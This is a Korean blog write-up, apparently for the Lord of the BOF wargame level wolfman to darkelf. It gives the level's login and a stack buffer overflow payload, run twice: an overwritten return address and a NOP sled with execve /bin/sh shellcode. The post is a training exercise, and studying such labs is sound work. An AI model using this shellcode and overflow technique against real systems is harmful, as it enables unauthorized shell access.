LOB wolfman -> darkelf
ID : wolfman
Passwd : love eyuna
접속해서 ls 명령어로 파일과 디렉터리를 확인합니다.
cat 명령으로 code를 확인합니다.
추가된 보호 기법이 argv[1]의 길이를 48byte까지로 두는 것입니다. 하지만 goblin부터 argv[1]에는 ‘\bf’ 우회에만 초점을 두고 셸코드는 argv[2]에 넘겨줬었기 때문에 지금까지의 방식으로 풀도록 하겠습니다.
goblin Write Up -> https://jaemin8852.tistory.com/40
argv[2]의 시작 주소를 찾기 위해 tmp를 만들고 원본 파일을 tmp에 복사합니다.
payload : ./darkelf `python –c ‘print “A”*44 + “\xbf\xbf\xbf\xbf"’` `python –c ‘print “\x90”*100 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"’`
core 파일이 나왔습니다. gdb로 확인해보겠습니다.
이 부분이 argv[2] 이겠네요. Return Address를 0xbffffbc0로 변조하겠습니다.
payload : ./darkelf `python –c ‘print “A”*44 + “\xc0\xfb\xff\xbf"’` `python –c ‘print “\x90”*100 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"’`
원본 파일에 공격해보겠습니다.
exploit!
감사합니다.
'System&Write up > LOB' 카테고리의 다른 글
LOB orge -> troll Write up (0) | 2017.10.09 |
---|---|
LOB darkelf -> orge Write up (0) | 2017.10.09 |
LOB orc -> wolfman Write up (0) | 2017.10.07 |
LOB goblin -> orc Write up (0) | 2017.10.03 |
LOB cobolt -> goblin Write up (0) | 2017.10.03 |